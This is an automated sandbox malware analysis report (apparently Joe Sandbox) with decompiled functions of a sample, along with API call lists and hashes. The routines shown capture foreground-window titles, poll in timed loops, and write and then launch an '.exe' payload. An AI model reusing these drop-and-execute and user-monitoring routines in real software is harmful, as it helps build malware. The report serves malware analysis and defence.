				_t198 = Sleep;
				_t316 = _t108;
				if(_t108 == 0) {
					L3:
					E00401970(_t198,  &_v748);
					_v8 = 1;
					_t112 = E00402520( &_v1140, E0040B840(E00409300(_t268, _t287, _t290)));
					_v8 = 2;
					_t115 = E00402520( &_v1116, E0040B870(E00409270(_t198, _t268, _t112, _t290)));
					_v8 = 3;
					L37();
					_t117 = E00402520( &_v1260, E0040B720(_t115));
					_v8 = 4;
					_t118 = E0040C8B0( &_v1236, 0x450de0, _t117);
					_v8 = 5;
					_t119 = E0040C910( &_v1212, _t118,  &_a4);
					_v8 = 6;
					_t120 = E0040C9C0( &_v1188, _t119, _t115);
					_v8 = 7;
					_t121 = E0040C9C0( &_v1164, _t120, _t112);
					_v8 = 8;
					E0040C910( &_v92, _t121, 0x450dc8);
					_t306 = _t300 - 0x14 + 0x14;
					E00402450(_t198,  &_v1164);
					E00402450(_t198,  &_v1188);
					E00402450(_t198,  &_v1212);
					E00402450(_t198,  &_v1236);
					E00402450(_t198,  &_v1260);
					E00402450(_t198,  &_v1116);
					_v8 = 0x10;
					E00402450(_t198,  &_v1140);
					_t292 = 0;
					_t289 = 0xc8;
					while(1) {
						_t292 =  &(1[_t292]);
						_t130 = E00402410( &_v92);
						_t223 =  &_v748;
						_t131 = E00402310(_t198,  &_v748, _t289, _t130); // executed
						if(_t131 == 0) {
							goto L8;
						}
						E00402520( &_v44, E00402380( &_v748));
						_t277 = "0";
						if(E00402810( &_v44, "0") != 0) {
							L11:
							E00402450(_t198,  &_v44);
							E0040BAF0( &_v68);
							_t307 = _t306 - 0x14;
							_v8 = 0x11;
							E00401970(_t198,  &_v1076);
							_v8 = 0x12;
							while(1) {
								_t146 = E00402520( &_v1116, E0040B7F0(E00409390(_t198, _t277, _t289, _t292)));
								_t277 = 0x450df8;
								_v8 = 0x15;
								_t147 = E0040C8B0( &_v1140, 0x450df8, _t146);
								_t307 = _t307 + 4;
								_v8 = 0x16;
								_t149 = E00402310(_t198,  &_v1076, _t289, E00402410(_t147)); // executed
								_t292 = _t149;
								E00402450(_t198,  &_v1140);
								_v8 = 0x12;
								E00402450(_t198,  &_v1116);
								__eflags = _t149;
								if(_t149 == 0) {
									goto L15;
								}
								E00402420( &_v68, E00402380( &_v1076));
								_t154 = E00402400( &_v68);
								__eflags = _t154 - 0xa;
								if(_t154 <= 0xa) {
									goto L15;
								}
								__eflags = _t154 - 0x64;
								if(_t154 < 0x64) {
									_t308 = _t307 - 0x14;
									_t293 = 0;
									__eflags = 0;
									E00401970(_t198,  &_v420);
									_v8 = 0x17;
									do {
										_v1092 = _t293 + 1;
										_t158 = E00402520( &_v1116, E0040B820(E00409420()));
										_t278 = 0x450df8;
										_v8 = 0x1a;
										_t159 = E0040C8B0( &_v1140, 0x450df8, _t158);
										_t308 = _t308 + 4;
										_v8 = 0x1b;
										_t161 = E00402310(_t198,  &_v420, _t289, E00402410(_t159)); // executed
										E00402450(_t198,  &_v1140);
										_v8 = 0x17;
										E00402450(_t198,  &_v1116);
										__eflags = _t161;
										if(_t161 == 0) {
											goto L20;
										}
										_t198 = E00402390( &_v420);
										__eflags = _t198 - 0x16;
										if(__eflags <= 0) {
											goto L20;
										}
										_push( ~(0 | __eflags > 0x00000000) |  &(1[_t198]));
										_t289 = E0041626E();
										_t177 = E00402350( &_v420, _t176,  &(1[_t198]));
										_push( ~(0 | __eflags > 0x00000000) | _t198 * 0x00000002); // executed
										_t180 = E0041626E(); // executed
										_t313 = _t308 + 4 - 0x14;
										_v1080 = _t180;
										E0040BB10(_t198, _t313, _t198 * 2 >> 0x20, _t176,  &_v68);
										_t184 = E00403770(_t198, _t176, _t177, _t289,  &_v1080); // executed
										_t278 = _t184;
										_t185 = E00402B70(_v1080, _t184, __eflags,  &_v1088,  &_v1088); // executed
										_t308 = _t313 + 0x24;
										_v1084 = _t185;
										__eflags = _v1088;
										if(_v1088 != 0) {
											_t289 = Sleep;
											_t293 = 0;
											_v1080 = 0;
											_t198 = 0;
											__eflags = 0;
											do {
												_t266 = _v1084(E00402410(0x450e10), E00402410(0x450d98));
												_t308 = _t308 + 8;
												_t189 = _v1080;
												_t278 = 1;
												__eflags = _t189;
												if(_t189 != 0) {
													__eflags = _t266;
													_t198 =  ==  ? 1 : _t198 & 0x000000ff;
												}
												__eflags = _t293 - 0xa;
												if(_t293 >= 0xa) {
													__eflags = _t266 - 1;
													_t198 =  !=  ? _t278 : _t198 & 0x000000ff;
												}
												__eflags = _t293 - 0xf;
												if(_t293 < 0xf) {
													__eflags = _t293 - 5;
													if(_t293 < 5) {
														goto L33;
													}
													goto L31;
												} else {
													__eflags = _t266 - 1;
													if(_t266 == 1) {
														_t198 = _t266;
													}
													L31:
													__eflags = _t189;
													if(_t189 != 0) {
														goto L33;
													}
													__eflags = _t266 - 0xfffffffe;
													if(__eflags == 0) {
														Sleep(0x7d0); // executed
														L36:
														E004054C0(_t198, __eflags); // executed
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t297);
														_t298 = _t308;
														_t165 =  *0x43d054; // 0x298e9dc2
														_v1236 = _t165 ^ _t298;
														_v1248 = 0x5e005d5b;
														_v1244 = 0x5d115e46;
														_v1240 = 0x2e13;
														_t248 =  *((intOrPtr*)( *[fs:0x2c]));
														_t168 =  *0x450e84; // 0x80000017
														__eflags = _t168 -  *((intOrPtr*)(_t248 + 4));
														if(_t168 >  *((intOrPtr*)(_t248 + 4))) {
															E0040EEC8(_t168, 0x450e84);
															__eflags =  *0x450e84 - 0xffffffff;
															if(__eflags == 0) {
																asm("movaps xmm0, [0x439d40]");
																asm("movups [0x450e60], xmm0");
																asm("movq xmm0, [ebp-0x10]");
																asm("movq [0x450e70], xmm0");
																 *0x450e78 = _v16;
																E0040F1DA(_t248, __eflags, 0x42d400);
																E0040EE7E(0x450e84);
															}
														}
														__eflags = _v12 ^ _t298;
														return E0040EB3F(0x450e60, _t198, _v12 ^ _t298, _t278, _t289, _t293);
													}
												}
												L33:
												__eflags = _t266 - 1;
												_t191 =  ==  ? _t278 : _t189 & 0x000000ff;
												_t293 = _t293 + 1;
												_v1080 =  ==  ? _t278 : _t189 & 0x000000ff;
												Sleep(0x7d0); // executed
												__eflags = _t198;
											} while (__eflags == 0);
											goto L36;
										}
										L20:
										_t293 = _v1092;
										__eflags = _t293 - 0xa;
									} while (__eflags < 0);
									goto L36;
								}
								L15:
								Sleep(0xbb8);
							}
						}
						_t277 = "1";
						if(E00402810( &_v44, "1") != 0) {
							goto L11;
						}
						_t223 =  &_v44;
						E00402450(_t198,  &_v44);
						L8:
						_t322 = _t292 - 0x12c;
						if(_t292 <= 0x12c) {
							_t46 = _t292 + 3; // 0x4
							Sleep(_t46 * 0x3e8);
						} else {
							_t134 = E00417D76(_t223, _t322);
							asm("cdq");
							Sleep((_t134 % _t289 + 0x67) * 0x3e8);
						}
					}
				} else {
					_t290 = 0x7d0;
					do {
						_t194 = E00417D76(_t201, _t316);
						asm("cdq");
						_t268 = _t194 % 0x7d0 + 0x3e8;
						Sleep(_t194 % 0x7d0 + 0x3e8);
					} while (E00405F40(Sleep, __edi) != 0);
					goto L3;
				}
			}

0x00408d00
0x00408d00
0x00408d03
0x00408d05
0x00408d10
0x00408d11
0x00408d17
0x00408d1c
0x00408d1e
0x00408d21
0x00408d22
0x00408d23
0x00408d24
0x00408d28
0x00408d2e
0x00408d35
0x00408d3a
0x00408d40
0x00408d42
0x00408d6a
0x00408d73
0x00408d78
0x00408d8f
0x00408d96
0x00408dad
0x00408db4
0x00408db8
0x00408dcb
0x00408dd6
0x00408de0
0x00408deb
0x00408df8
0x00408e03
0x00408e0d
0x00408e18
0x00408e22
0x00408e31
0x00408e38
0x00408e3d
0x00408e46
0x00408e51
0x00408e5c
0x00408e67
0x00408e72
0x00408e7d
0x00408e88
0x00408e8c
0x00408e91
0x00408e93
0x00408ea0
0x00408ea3
0x00408ea4
0x00408eaa
0x00408eb0
0x00408eb7
0x00000000
0x00000000
0x00408ec8
0x00408ecd
0x00408edc
0x00408f2b
0x00408f2e
0x00408f36
0x00408f3b
0x00408f3e
0x00408f48
0x00408f4d
0x00408f51
0x00408f64
0x00408f6a
0x00408f6f
0x00408f79
0x00408f7e
0x00408f83
0x00408f93
0x00408f9e
0x00408fa0
0x00408fab
0x00408faf
0x00408fb4
0x00408fb6
0x00000000
0x00000000
0x00408fc7
0x00408fcf
0x00408fd4
0x00408fd7
0x00000000
0x00000000
0x00408fd9
0x00408fdc
0x00408fea
0x00408ff3
0x00408ff3
0x00408ff5
0x00408ffa
0x00409000
0x00409001
0x0040901a
0x00409020
0x00409025
0x0040902f
0x00409034
0x00409039
0x00409049
0x00409056
0x00409061
0x00409065
0x0040906a
0x0040906c
0x00000000
0x00000000
0x0040907d
0x0040907f
0x00409082
0x00000000
0x00000000
0x00409096
0x004090a2
0x004090ac
0x004090c5
0x004090c6
0x004090cb
0x004090ce
0x004090da
0x004090ea
0x004090f8
0x00409102
0x00409107
0x0040910a
0x00409110
0x00409117
0x0040912d
0x00409133
0x00409135
0x0040913c
0x0040913c
0x00409140
0x0040915c
0x0040915e
0x00409161
0x00409167
0x0040916c
0x0040916e
0x00409170
0x00409175
0x00409175
0x00409178
0x0040917b
0x0040917d
0x00409183
0x00409183
0x00409186
0x00409189
0x00409194
0x00409197
0x00000000
0x00000000
0x00000000
0x0040918b
0x0040918b
0x0040918e
0x00409190
0x00409190
0x00409199
0x00409199
0x0040919b
0x00000000
0x00000000
0x0040919d
0x004091a0
0x004091c4
0x004091c6
0x004091c6
0x004091cb
0x004091cc
0x004091cd
0x004091ce
0x004091cf
0x004091d0
0x004091d1
0x004091d6
0x004091dd
0x004091e6
0x004091ed
0x004091f4
0x004091fa
0x004091fc
0x00409201
0x00409207
0x0040920e
0x00409216
0x0040921d
0x0040921f
0x0040922a
0x00409236
0x0040923b
0x00409243
0x00409249
0x00409253
0x00409258
0x0040921d
0x00409263
0x0040926d
0x0040926d
0x004091a0
0x004091a2
0x004091a2
0x004091ad
0x004091b0
0x004091b1
0x004091b7
0x004091b9
0x004091b9
0x00000000
0x004091bd
0x00409119
0x00409119
0x0040911f
0x0040911f
0x00000000
0x00409128
0x00408fde
0x00408fe3
0x00408fe3
0x00408f51
0x00408ede
0x00408eed
0x00000000
0x00000000
0x00408eef
0x00408ef2
0x00408ef7
0x00408ef7
0x00408efd
0x00408f1a
0x00408f24
0x00408eff
0x00408eff
0x00408f04
0x00408f14
0x00408f14
0x00408efd
0x00408d44
0x00408d44
0x00408d50
0x00408d50
0x00408d55
0x00408d58
0x00408d5f
0x00408d66
0x00000000
0x00408d50

APIs

Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 00405FE0
Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004060D6

Sleep.KERNEL32(?,298E9DC2), ref: 00408D5F

Part of subcall function 00405F40: __Init_thread_footer.LIBCMT ref: 004061D5
Part of subcall function 00405F40: GetForegroundWindow.USER32 ref: 00406276
Part of subcall function 00405F40: GetWindowTextA.USER32 ref: 00406291

Sleep.KERNEL32(?,00000000,00000000,?,?,?,?,00000000,?,298E9DC2), ref: 00408F14
Sleep.KERNEL32(00000004,00000000,?,?,?,?,00000000,?,298E9DC2), ref: 00408F24
Sleep.KERNEL32(00000BB8,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,?,298E9DC2), ref: 00408FE3

Part of subcall function 00403770: CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,298E9DC2), ref: 004037F0
Part of subcall function 00403770: CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
Part of subcall function 00403770: _mbstowcs.LIBCMT ref: 00403867
Part of subcall function 00403770: CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
Part of subcall function 00403770: GetLastError.KERNEL32 ref: 00403888

Sleep.KERNEL32(000007D0), ref: 004091B7
Sleep.KERNEL32(000007D0), ref: 004091C4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Sleep$CryptInit_thread_footer$HashWindow$AcquireContextCreateDataErrorForegroundLastText_mbstowcs
String ID:
API String ID: 1673536643-0
Opcode ID: 93d54cd6283cecdeca315580c0f5c59f7b65aaeee526e962273c5f1feec115dc
Instruction ID: b9b459d17b5c228be67a2aa04d5f6ab2d0f75a9a8205617ba879f91df248ea82
Opcode Fuzzy Hash: 93d54cd6283cecdeca315580c0f5c59f7b65aaeee526e962273c5f1feec115dc
Instruction Fuzzy Hash: F6C1C0B19001148ADB14F771CD997EE72689F54308F4041BEE94AB72C3EE7C6E49CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 10001ED9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 183
processCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E10001ED9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				void* _v12;
				void* _v132;
				void* _v348;
				void* _v352;
				void* _v356;
				void* _v360;
				void* _v364;
				void* _v368;
				intOrPtr _v376;
				intOrPtr _v400;
				intOrPtr _v408;
				char _v412;
				void* _v416;
				void* _v424;
				void* _v440;
				void* _v456;
				void* _v468;
				intOrPtr _v472;
				void* _v476;
				char _v488;
				void* _v492;
				struct _PROCESS_INFORMATION _v504;
				char _v508;
				void* _v512;
				char _v524;
				char _v528;
				void* _v532;
				char _v548;
				char _v552;
				void* _v576;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t56;
				void* _t58;
				char _t64;
				void* _t66;
				intOrPtr _t69;
				signed int _t73;
				void* _t74;
				signed int _t103;
				void* _t104;
				void* _t107;
				void* _t129;
				void* _t130;
				intOrPtr _t131;
				intOrPtr _t135;
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				void* _t144;
				signed int _t153;

				_t144 = __eflags;
				_t128 = __edx;
				_t141 = (_t139 & 0xfffffff8) - 0x214;
				_t56 =  *0x10017004; // 0x2b917a71
				_v8 = _t56 ^ _t141;
				_t135 = _a4;
				_t103 = 0;
				_t58 = E100058E6(__ecx, __edx, 0);
				_t107 = _t129;
				E10005965(_t107, _t58);
				_v552 = 0x148;
				_push(0);
				_push( &_v412);
				E10003BE0(_t129);
				_v400 = _a8;
				_v408 = 0x7a120;
				_push(0x7a120); // executed
				_t64 = E100026B3(0, _t128, _t144); // executed
				_v412 = _t64;
				E10003BE0(_t129, _t64, 0, _v408);
				_t143 = _t141 + 0x18;
				_v376 = 0xfde9;
				_v356 = 0;
				_v352 = 0;
				_v348 = 0;
				_v360 = 0;
				_t145 = _v368;
				if(_v368 != 0) {
					E100026CA(_v368);
					_v368 = 0;
				}
				_t66 = E100014C9(_t103,  &_v412, _t128, _t129, _t135, _t145, _t135); // executed
				if(_t66 == 0) {
					_t103 = 0xfffffffd;
				} else {
					if( *((intOrPtr*)(_t143 + 0xb0)) != _t103) {
						_t69 = _v360;
						if(_t69 != 0 && _t69 > 2) {
							_t150 = _t69 - 0x800;
							if(_t69 <= 0x800) {
								_t103 = _t103 | 0xffffffff;
							} else {
								_t113 = _t143 + 0x70;
								E10001C58(_t103, _t143 + 0x70, _t129, _t135, _t150);
								_t151 =  *((intOrPtr*)(_t143 + 0x80)) - _t103;
								if( *((intOrPtr*)(_t143 + 0x80)) == _t103) {
									_t103 = 0xfffffffe;
								} else {
									_t73 = E10005944(_t113, _t151) & 0x80000007;
									if(_t73 < 0) {
										_t73 = (_t73 - 0x00000001 | 0xfffffff8) + 1;
										_t153 = _t73;
									}
									_t22 = _t73 + 4; // 0x4
									_t128 = _t22;
									_t115 =  &_v508;
									_t74 = E10001BB9(_t103,  &_v508, _t22, _t129, _t135, _t153);
									_t103 = 1;
									E100019AC(_t143 + 0x14, E10002439(_t74,  &_v508, _t115, 1));
									E100019AC(_t143 + 0x5c, E100021D6( &_v548, ".exe", 4));
									_t80 =  >=  ? _v488 :  &_v488;
									E1000215E(_t143 + 0x44, E100021D6(_t143 + 0x74,  >=  ? _v488 :  &_v488, _v472));
									E10001B3F(_t143 + 0x58);
									E10001B3F(_t143 + 0x10);
									E10001B3F( &_v548);
									_t87 =  >=  ? _v524 :  &_v524;
									E100016C6(_t143 + 0x88,  >=  ? _v524 :  &_v524);
									_t131 = 0x44;
									_t138 =  >=  ? _v528 :  &_v528;
									E10003BE0(_t131, _t143 + 0x1d0, 0, _t131);
									 *((intOrPtr*)(_t143 + 0x1dc)) = _t131;
									_t143 = _t143 + 0xc;
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									if(CreateProcessA( >=  ? _v528 :  &_v528, 0, 0, 0, 0, 0, 0, 0, _t143 + 0x1d4,  &_v504) == 0 ||  *((intOrPtr*)(_t143 + 0x60)) == 0xffffffff) {
										_t96 =  >=  ?  *((void*)(_t143 + 0x44)) : _t143 + 0x40;
										ShellExecuteA(0, "open",  >=  ?  *((void*)(_t143 + 0x44)) : _t143 + 0x40, 0, 0, 0xa);
									}
									E10001B3F(_t143 + 0x40);
								}
								E10001B3F(_t143 + 0x70);
							}
						}
					}
				}
				E100010CC();
				_pop(_t130);
				_pop(_t136);
				_pop(_t104);
				return E100026A5(_t103, _t104, _v8 ^ _t143, _t128, _t130, _t136);
			}

0x10001ed9
0x10001ed9
0x10001edf
0x10001ee5
0x10001eec
0x10001ef5
0x10001ef8
0x10001efc
0x10001f01
0x10001f03
0x10001f08
0x10001f16
0x10001f17
0x10001f18
0x10001f23
0x10001f2f
0x10001f36
0x10001f37
0x10001f44
0x10001f4d
0x10001f52
0x10001f55
0x10001f60
0x10001f67
0x10001f6e
0x10001f75
0x10001f7c
0x10001f83
0x10001f8c
0x10001f92
0x10001f92
0x10001fa1
0x10001fa8
0x1000213a
0x10001fae
0x10001fb5
0x10001fbb
0x10001fc4
0x10001fd3
0x10001fd8
0x10002133
0x10001fde
0x10001fde
0x10001fe2
0x10001fe7
0x10001fee
0x10002127
0x10001ff4
0x10001ff9
0x10001ffe
0x10002004
0x10002004
0x10002004
0x10002005
0x10002005
0x10002008
0x1000200c
0x10002013
0x10002023
0x1000203d
0x1000204f
0x10002063
0x1000206c
0x10002075
0x1000207e
0x10002093
0x10002099
0x100020ac
0x100020b4
0x100020ba
0x100020bf
0x100020cc
0x100020cf
0x100020d0
0x100020d1
0x100020d2
0x100020f2
0x10002106
0x10002114
0x10002114
0x1000211e
0x1000211e
0x1000212c
0x1000212c
0x10001fd8
0x10001fc4
0x10001fb5
0x10002142
0x10002150
0x10002151
0x10002152
0x1000215d

APIs

Part of subcall function 100058E6: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F01,00000000), ref: 100058F9
Part of subcall function 100058E6: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000592A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 100020EA
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002114

Strings

.exe, xrefs: 1000202A
open, xrefs: 1000210E

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 7e25857f2893abfb69c25fdff2467f4c439bf1fcfad4a64fa8ddffda9245c45a
Instruction ID: dadc89f3538cc2c7fee676f78565c20390d7026d0332fd3b10d668da5072c214
Opcode Fuzzy Hash: 7e25857f2893abfb69c25fdff2467f4c439bf1fcfad4a64fa8ddffda9245c45a
Instruction Fuzzy Hash: 19515D755083809BE720DF64C881AEFB7E8FF94394F40492EF69982195EB70A944CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00405250 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00405250(void* __ebx, int* __ecx, long __edx) {
				signed int _v8;
				char _v258;
				short _v260;
				char _v268;
				char _v272;
				char _v276;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t16;
				short _t18;
				intOrPtr _t23;
				char* _t29;
				void* _t31;
				intOrPtr* _t33;
				void* _t39;
				int* _t40;
				long _t41;
				void* _t42;
				signed int _t43;

				_t31 = __ebx;
				_t16 =  *0x43d054; // 0x298e9dc2
				_v8 = _t16 ^ _t43;
				_t40 = __ecx;
				_t41 = __edx;
				_v276 = __ecx;
				_v276 = __ecx;
				_t18 =  *0x439a7c; // 0x3e
				asm("movq xmm0, [0x439a74]");
				_v260 = _t18;
				asm("movq [ebp-0x108], xmm0");
				E00410A80(__ecx,  &_v258, 0, 0xfa);
				_t42 = OpenProcess(0x410, 0, _t41);
				if(_t42 != 0) {
					_t29 =  &_v276;
					__imp__K32EnumProcessModules(_t42, _t29, 4,  &_v272); // executed
					if(_t29 != 0) {
						__imp__K32GetModuleBaseNameA(_t42, _v276,  &_v268, 0x104); // executed
					}
				}
				FindCloseChangeNotification(_t42); // executed
				_t33 =  &_v268;
				 *_t40 = 0;
				_t40[4] = 0;
				_t39 = _t33 + 1;
				_t40[5] = 0xf;
				 *_t40 = 0;
				do {
					_t23 =  *_t33;
					_t33 = _t33 + 1;
				} while (_t23 != 0);
				E004026C0(_t31, _t40,  &_v268, _t33 - _t39);
				return E0040EB3F(_t40, _t31, _v8 ^ _t43, _t39, _t40, _t42);
			}

0x00405250
0x00405259
0x00405260
0x00405265
0x00405267
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052ba
0x004052c5
0x004052cd
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040532a
0x00405340

APIs

OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
String ID:
API String ID: 1316604328-0
Opcode ID: b0fe695f2a8d01008c7ab91b2f8a898c111ebd17bea975c128503e6dd8a7fc7e
Instruction ID: 5b0ce53f5bd945700f8c3b7f9e2fd6e464f941b1772ca37bd2fc63ba713c63ec
Opcode Fuzzy Hash: b0fe695f2a8d01008c7ab91b2f8a898c111ebd17bea975c128503e6dd8a7fc7e
Instruction Fuzzy Hash: 9D21C731A001199BD725DF65DC05BEAB7B8EF09300F0002BAE645A7290DBF45A858F98

Uniqueness

Uniqueness Score: -1.00%

Function 00420FA8 Relevance: 4.7, APIs: 3, Instructions: 170
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 93%

			E00420FA8(signed int _a4, void* _a8, signed int _a12) {
				long _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				long _v40;
				char _v44;
				signed int _t59;
				signed int _t64;
				signed int _t66;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t81;
				signed int _t84;
				signed int _t91;
				signed int _t93;
				intOrPtr _t95;
				signed int _t100;
				intOrPtr _t101;
				void* _t102;
				signed int _t105;
				signed int _t107;
				void* _t109;

				_t93 = _a12;
				_v8 = _t93;
				_t105 = _a4;
				_t102 = _a8;
				_v16 = _t102;
				if(_t93 == 0) {
					L37:
					__eflags = 0;
					return 0;
				}
				_t113 = _t102;
				if(_t102 != 0) {
					_t100 = _t105 >> 6;
					_t59 = (_t105 & 0x0000003f) * 0x38;
					_v20 = _t100;
					_t101 =  *((intOrPtr*)(0x4508e0 + _t100 * 4));
					_v12 = _t59;
					_t91 =  *((intOrPtr*)(_t101 + _t59 + 0x29));
					__eflags = _t91 - 2;
					if(_t91 == 2) {
						L6:
						__eflags =  !_t93 & 0x00000001;
						if(__eflags == 0) {
							goto L2;
						}
						_t59 = _v12;
						L8:
						__eflags =  *(_t101 + _t59 + 0x28) & 0x00000020;
						if(__eflags != 0) {
							E0041D0D8(_t105, 0, 0, 2);
							_t109 = _t109 + 0x10;
						}
						_t66 = E00420B4F(_t101, __eflags, _t105);
						__eflags = _t66;
						if(_t66 == 0) {
							_t95 =  *((intOrPtr*)(0x4508e0 + _v20 * 4));
							_t68 = _v12;
							__eflags =  *((char*)(_t95 + _t68 + 0x28));
							if( *((char*)(_t95 + _t68 + 0x28)) >= 0) {
								asm("stosd");
								asm("stosd");
								asm("stosd");
								_t71 = WriteFile( *(_t95 + _t68 + 0x18), _v16, _v8,  &_v40, 0); // executed
								__eflags = _t71;
								if(_t71 == 0) {
									_v44 = GetLastError();
								}
								goto L27;
							}
							_t81 = _t91;
							__eflags = _t81;
							if(_t81 == 0) {
								E00420BC0( &_v44, _t105, _t102, _v8);
								goto L16;
							}
							_t84 = _t81 - 1;
							__eflags = _t84;
							if(_t84 == 0) {
								_t83 = E00420D84( &_v44, _t105, _t102, _v8);
								goto L16;
							}
							__eflags = _t84 != 1;
							if(_t84 != 1) {
								goto L33;
							}
							_t83 = E00420C9B( &_v44, _t105, _t102, _v8);
							goto L16;
						} else {
							__eflags = _t91;
							if(__eflags == 0) {
								_t83 = E0042073B(__eflags,  &_v44, _t105, _t102, _v8);
								L16:
								L14:
								L27:
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t72 = _v28;
								__eflags = _t72;
								if(_t72 != 0) {
									return _t72 - _v24;
								}
								_t74 = _v32;
								__eflags = _t74;
								if(_t74 == 0) {
									_t102 = _v16;
									L33:
									__eflags =  *( *((intOrPtr*)(0x4508e0 + _v20 * 4)) + _v12 + 0x28) & 0x00000040;
									if(__eflags == 0) {
										L35:
										 *((intOrPtr*)(E00413571(__eflags))) = 0x1c;
										_t64 = E0041355E(__eflags);
										 *_t64 =  *_t64 & 0x00000000;
										L3:
										return _t64 | 0xffffffff;
									}
									__eflags =  *_t102 - 0x1a;
									if(__eflags == 0) {
										goto L37;
									}
									goto L35;
								}
								_t107 = 5;
								__eflags = _t74 - _t107;
								if(__eflags != 0) {
									_t64 = E0041353B(_t74);
								} else {
									 *((intOrPtr*)(E00413571(__eflags))) = 9;
									_t64 = E0041355E(__eflags);
									 *_t64 = _t107;
								}
								goto L3;
							}
							__eflags = _t91 - 1 - 1;
							if(_t91 - 1 > 1) {
								goto L33;
							}
							E00420AE7( &_v44, _t102, _v8);
							goto L14;
						}
					}
					__eflags = _t91 - 1;
					if(_t91 != 1) {
						goto L8;
					}
					goto L6;
				}
				L2:
				 *(E0041355E(_t113)) =  *_t62 & 0x00000000;
				 *((intOrPtr*)(E00413571( *_t62))) = 0x16;
				_t64 = E00413497();
				goto L3;
			}

0x00420fb0
0x00420fb3
0x00420fb8
0x00420fbc
0x00420fbf
0x00420fc4
0x0042117b
0x0042117b
0x00000000
0x0042117b
0x00420fca
0x00420fcc
0x00420ff2
0x00420ff8
0x00420ffb
0x00420ffe
0x00421005
0x00421008
0x0042100c
0x0042100f
0x00421016
0x0042101a
0x0042101c
0x00000000
0x00000000
0x0042101e
0x00421021
0x00421021
0x00421026
0x0042102f
0x00421034
0x00421034
0x00421038
0x0042103e
0x00421040
0x0042107e
0x00421085
0x00421088
0x0042108d
0x004210de
0x004210e1
0x004210e2
0x004210ee
0x004210f4
0x004210f6
0x004210fe
0x004210fe
0x00000000
0x00421101
0x00421092
0x00421092
0x00421095
0x004210ce
0x00000000
0x004210ce
0x00421097
0x00421097
0x0042109a
0x004210be
0x00000000
0x004210be
0x0042109c
0x0042109f
0x00000000
0x00000000
0x004210ae
0x00000000
0x00421042
0x00421042
0x00421044
0x00421071
0x00421076
0x00421061
0x00421104
0x00421107
0x00421108
0x00421109
0x0042110a
0x0042110d
0x0042110f
0x00000000
0x00421176
0x00421111
0x00421114
0x00421116
0x00421142
0x00421145
0x00421152
0x00421157
0x0042115e
0x00421163
0x00421169
0x0042116e
0x00420fe6
0x00000000
0x00420fe6
0x00421159
0x0042115c
0x00000000
0x00000000
0x00000000
0x0042115c
0x0042111a
0x0042111b
0x0042111d
0x00421137
0x0042111f
0x00421124
0x0042112a
0x0042112f
0x0042112f
0x00000000
0x0042111d
0x00421048
0x0042104b
0x00000000
0x00000000
0x00421059
0x00000000
0x0042105e
0x00421040
0x00421011
0x00421014
0x00000000
0x00000000
0x00000000
0x00421014
0x00420fce
0x00420fd3
0x00420fdb
